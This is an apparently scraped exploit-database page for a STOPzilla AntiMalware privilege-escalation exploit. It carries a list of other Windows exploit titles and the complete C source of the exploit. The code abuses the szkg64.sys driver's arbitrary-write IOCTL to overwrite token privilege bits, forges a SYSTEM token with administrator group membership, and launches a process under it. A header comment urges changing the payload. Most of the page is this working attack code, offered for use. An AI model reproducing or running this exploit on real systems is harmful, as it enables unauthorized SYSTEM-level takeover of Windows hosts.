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"STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (2)"

Author

"Ivan Ivanovic"

Platform

windows

Release date

2019-03-04

Release Date Title Type Platform Author
2019-05-24 "Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption" remote windows "Simon Zuckerbraun"
2019-05-24 "Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow" local windows "Uday Mittal"
2019-05-15 "Microsoft Windows - 'Win32k' Local Privilege Escalation" local windows ExpLife0011
2019-05-22 "Microsoft Internet Explorer 11 - Sandbox Escape" local windows SandboxEscaper
2019-05-22 "Microsoft Windows (x84) - Task Scheduler' .job' Import Arbitrary Discretionary Access Control List Write / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-22 "Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 (17763.379) - Install DLL" local windows SandboxEscaper
2019-05-24 "Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)" dos windows Achilles
2019-05-24 "Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-23 "Terminal Services Manager 3.2.1 - Denial of Service" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Share Name' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Add Block' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-22 "TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "TapinRadio 2.11.6 - 'Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "BlueStacks 4.80.0.1060 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-21 "Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "Huawei eSpace 1.1.11.103 - DLL Hijacking" local windows LiquidWorm
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "docPrint Pro 8.0 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "PCL Converter 2.7 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "Encrypt PDF 2.3 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
Release Date Title Type Platform Author
2019-03-04 "STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (2)" local windows "Ivan Ivanovic"
2016-07-07 "Tiki Wiki 15.1 - File Upload" webapps php "Ivan Ivanovic"
2004-12-22 "Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (3)" remote windows "Ivan Ivanovic"
2015-10-17 "ASX to MP3 Converter 1.82.50 (Windows 2003 x86) - '.asx' Local Stack Overflow" local windows "Ivan Ivanovic"
2017-10-27 "Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow (PoC)" dos windows "Ivan Ivanovic"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/45496/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/45496/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/45496/40938/stopzilla-antimalware-65259-privilege-escalation-2/download/", "exploit_id": "45496", "exploit_description": "\"STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (2)\"", "exploit_date": "2019-03-04", "exploit_author": "\"Ivan Ivanovic\"", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

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/*
3y3t3m th!s - Ivan Ivanovic Ivanov Иван-дурак
недействительный 31337 Team

clone of https://www.exploit-db.com/exploits/45401

deb yaaaa
win7 narrrr (fails)

ch@ng3 p@yl0@d!!!!!!!!!!!!!
*/

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <sddl.h>

#pragma comment(lib,"winsta.lib")
#pragma comment(lib,"advapi32.lib")

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)

typedef unsigned __int64 QWORD;


typedef struct _SID_BUILTIN
{
     UCHAR Revision;
     UCHAR SubAuthorityCount;
     SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
     ULONG SubAuthority[2];
} SID_BUILTIN, *PSID_BUILTIN;


typedef struct _SID_INTEGRITY
{
     UCHAR Revision;
     UCHAR SubAuthorityCount;
     SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
     ULONG SubAuthority[1];
} SID_INTEGRITY, *PSID_INTEGRITY;


typedef NTSYSAPI NTSTATUS (NTAPI *_ZwCreateToken)(
     OUT PHANDLE TokenHandle,
     IN ACCESS_MASK DesiredAccess,
     IN POBJECT_ATTRIBUTES ObjectAttributes,
     IN TOKEN_TYPE Type,
     IN PLUID AuthenticationId,
     IN PLARGE_INTEGER ExpirationTime,
     IN PTOKEN_USER User,
     IN PTOKEN_GROUPS Groups,
     IN PTOKEN_PRIVILEGES Privileges,
     IN PTOKEN_OWNER Owner,
     IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
     IN PTOKEN_DEFAULT_DACL DefaultDacl,
     IN PTOKEN_SOURCE Source
);

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     ULONG SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);



int GetWindowsVersion()
{
    int            ver = 0;
    OSVERSIONINFO  osvi;


    ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

    GetVersionEx(&osvi);

    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) ver = 1; // Windows 7
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) ver = 2; // Windows 10

    return ver;
}

int AddAccountToAdminGroup(HANDLE hTokenElevated)
{
    STARTUPINFO          si;     
    PROCESS_INFORMATION  pi;
    DWORD                currentusersize;
    char                 currentuser[100];
    char                 netcommand[15000];            

 
    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFO);

    currentusersize = sizeof(currentuser);

    if (!GetUserName(currentuser, &currentusersize))
    {
        printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());
        return -1;
    }

    printf("\n[*] Creating new process...");
    // The command or binary file to be executed can be changed here
    sprintf(netcommand, "calc.exe");

    if (!CreateProcessAsUser(hTokenElevated, NULL, netcommand, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError());
        return -1;
    }
    printf("\n[+] Executed command successfully\n");		
   
    return 0;
}



PTOKEN_PRIVILEGES SetPrivileges()
{
    PTOKEN_PRIVILEGES   privileges;
    LUID                luid;
    int                 NumOfPrivileges = 5;   
    int                 nBufferSize;  

                 
    nBufferSize = sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES) * NumOfPrivileges;   
    privileges = (PTOKEN_PRIVILEGES) LocalAlloc(LPTR, nBufferSize);  

    privileges->PrivilegeCount = NumOfPrivileges;

    LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid);
    privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[0].Luid = luid;
    
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[1].Luid = luid;    

    LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
    privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[2].Luid = luid;	

    LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
    privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[3].Luid = luid;	

    LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
    privileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[4].Luid = luid;
    
    return privileges;	   	
}



PSID GetLocalSystemSID()
{
    PSID                       psid = NULL;
    SID_IDENTIFIER_AUTHORITY   sidAuth = SECURITY_NT_AUTHORITY;
	

    if (AllocateAndInitializeSid(&sidAuth, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &psid) == FALSE)
    {  
        printf("\n[-] AllocateAndInitializeSid failed %d\n", GetLastError());  
        return NULL;
    }  

    return psid;
}



LPVOID GetInfoFromToken(HANDLE hToken, TOKEN_INFORMATION_CLASS type)
{
    DWORD    dwLengthNeeded;
    LPVOID   lpData = NULL;


    if (!GetTokenInformation(hToken, type, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
    {
        printf("\n[-] Failed to initialize GetTokenInformation %d", GetLastError());
        return NULL;
    }

    lpData = (LPVOID)LocalAlloc(LPTR, dwLengthNeeded);
    GetTokenInformation(hToken, type, lpData, dwLengthNeeded, &dwLengthNeeded);      

    return lpData;
}



QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID) 
{
    _NtQuerySystemInformation   NtQuerySystemInformation;
    PSYSTEM_HANDLE_INFORMATION  pSysHandleInfo; 
    ULONG                       i;
    PSYSTEM_HANDLE_ENTRY        pHandle;
    QWORD                       TokenAddress = 0;       
    DWORD                       nSize = 4096;
    DWORD                       nReturn; 
    BOOL                        tProcess;    
    HANDLE                      hToken;


    if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
    {
        printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
        return -1;
    }

    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    do
    {  
        nSize += 4096;
        pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); 
    } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);
	
    printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);	

    for (i = 0; i < pSysHandleInfo->Count; i++) 
    {

        if (pSysHandleInfo->Handle[i].OwnerPid == MyProcessID && pSysHandleInfo->Handle[i].HandleValue == hToken) 
        {
            TokenAddress = pSysHandleInfo->Handle[i].ObjectPointer;	     			  
        }
    }

    HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
    return TokenAddress;	
}



HANDLE CreateUserToken(HANDLE hToken)
{
     _ZwCreateToken               ZwCreateToken;  
     HANDLE                       hTokenElevated;
     NTSTATUS                     status;
     int                          i;
     DWORD                        dwSize = 0;   
     TOKEN_USER                   userToken;    
     PTOKEN_PRIVILEGES            privileges = NULL;
     PTOKEN_OWNER                 ownerToken = NULL;	
     PTOKEN_GROUPS                groups = NULL;	
     PTOKEN_PRIMARY_GROUP         primary_group = NULL; 
     PTOKEN_DEFAULT_DACL          default_dacl = NULL;      	
     PLUID                        pluidAuth;
     LARGE_INTEGER                li;
     PLARGE_INTEGER               pli;   
     LUID                         authid = SYSTEM_LUID;
     LUID                         luid;
     PSID_AND_ATTRIBUTES          pSid;   
     SID_BUILTIN                  TkSidLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, DOMAIN_ALIAS_RID_ADMINS } };
     SECURITY_QUALITY_OF_SERVICE  sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };	
     OBJECT_ATTRIBUTES            oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; 
     TOKEN_SOURCE                 SourceToken  = { { '!', '!', '!', '!', '!', '!', '!', '!' }, { 0, 0 } };	     	     
     SID_IDENTIFIER_AUTHORITY     nt = SECURITY_NT_AUTHORITY;
     PSID                         lpSidOwner = NULL;     
     SID_INTEGRITY                IntegritySIDSystem = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_SYSTEM_RID };


     ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwCreateToken");

     if (ZwCreateToken == NULL)
     {
         printf("[-] Unable to resolve ZwCreateToken: %d\n\n", GetLastError());
         return NULL;
     }
    
     groups = (PTOKEN_GROUPS)GetInfoFromToken(hToken, TokenGroups);   
     primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken(hToken, TokenPrimaryGroup);  
     default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken(hToken, TokenDefaultDacl);     

     pSid = groups->Groups;
       
     for (i=0; i<groups->GroupCount; i++, pSid++) 
     {        
        PISID piSid = (PISID)pSid->Sid; 
           
        if (pSid->Attributes & SE_GROUP_INTEGRITY)
        {
           memcpy(pSid->Sid, &IntegritySIDSystem, sizeof(IntegritySIDSystem));
        }        
         
        if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
        {       
            memcpy(piSid, &TkSidLocalAdminGroup, sizeof(TkSidLocalAdminGroup));  // Found RID_USERS membership, overwrite with RID_ADMINS  
            pSid->Attributes = SE_GROUP_ENABLED; 
        } 
        else 
        {
            pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;
            pSid->Attributes &= ~SE_GROUP_ENABLED;
        } 
     }
 
     pluidAuth = &authid;
     li.LowPart = 0xFFFFFFFF;
     li.HighPart = 0xFFFFFFFF;
     pli = &li;
              
     AllocateAndInitializeSid(&nt, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &lpSidOwner);
     userToken.User.Sid = lpSidOwner;
     userToken.User.Attributes = 0;
                
     AllocateLocallyUniqueId(&luid);
     SourceToken.SourceIdentifier.LowPart = luid.LowPart;
     SourceToken.SourceIdentifier.HighPart = luid.HighPart;
	
     ownerToken = (PTOKEN_OWNER) LocalAlloc(LPTR, sizeof(PSID));       
     ownerToken->Owner = GetLocalSystemSID();

     privileges = SetPrivileges();
    	
     status = ZwCreateToken(&hTokenElevated,
                            TOKEN_ALL_ACCESS,
                            &oa, 
                            TokenPrimary,
                            pluidAuth,
                            pli,
                            &userToken,               
                            groups, 
                            privileges,
                            ownerToken,
                            primary_group,
                            default_dacl,
                            &SourceToken);

     if (status == STATUS_SUCCESS)
     {
         printf("\n[+] New token created successfully\n");         
         return hTokenElevated;
     }
     else
     {
//       printf("\n[-] Failed to create new token %08x\n", status);   
         return NULL;
     }

     if (lpSidOwner) FreeSid(lpSidOwner);     
     if (groups) LocalFree(groups);
     if (privileges) LocalFree(privileges); 
     if (primary_group) LocalFree(primary_group);   
     if (default_dacl) LocalFree(default_dacl);      
     if (ownerToken) { if(ownerToken->Owner) FreeSid(ownerToken->Owner); LocalFree(ownerToken); }
			
     return NULL;
}



int main(int argc, char *argv[]) 
{

    QWORD      TokenAddressTarget; 
    QWORD      SepPrivilegesOffset = 0x40;
    QWORD      PresentByteOffset;
    QWORD      EnableByteOffset;
    QWORD      TokenAddress;
    HANDLE     hDevice;
    char       devhandle[MAX_PATH];
    DWORD      dwRetBytes = 0;             
    HANDLE     hTokenCurrent;
    HANDLE     hTokenElevate;  


    printf("-------------------------------------------------------------------------------\n");
    printf("         STOPzilla AntiMalware (szkg64.sys) Arbitrary Write EoP Exploit        \n");
    printf("                 Tested on 64bit Windows 7 / Windows 10 (1803)                 \n");
    printf("-------------------------------------------------------------------------------\n");

    TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
    printf("\n[i] Address of current process token 0x%p", TokenAddress);

    TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
    printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget);

    PresentByteOffset = TokenAddressTarget + 0x0;
    printf("[i] Present bits at 0x%p will be overwritten\n", PresentByteOffset);

    EnableByteOffset = TokenAddressTarget + 0x8;
    printf("[i] Enabled bits at 0x%p will be overwritten", EnableByteOffset);

    sprintf(devhandle, "\\\\.\\%s", "msprocess");

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Open %s device failed\n\n", devhandle);
        return -1;
    }
    else 
    {
        printf("\n[+] Open %s device successful", devhandle);
    }	

      
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrent))	
    {
        printf("[-] Failed OpenProcessToken() %d\n\n", GetLastError());
        return NULL;
    }
    printf("[+] OpenProcessToken() handle opened successfully");  
   
    do 
    {
        printf("\n[*] Overwriting _SEP_TOKEN_PRIVILEGES bits");     
        DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
        DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);  
        hTokenElevate = CreateUserToken(hTokenCurrent); 
        Sleep(500); 
    } while (hTokenElevate == NULL);
           
    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows 7");
        printf("\n[*] Exploit will NOT be run!");
    }
    if (GetWindowsVersion() == 2) 
    {
        printf("[i] Running Windows 10");
        AddAccountToAdminGroup(hTokenElevate);   
    }
    else if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not tested on this OS\n\n");
    }  

    CloseHandle(hDevice);

    return 0;
}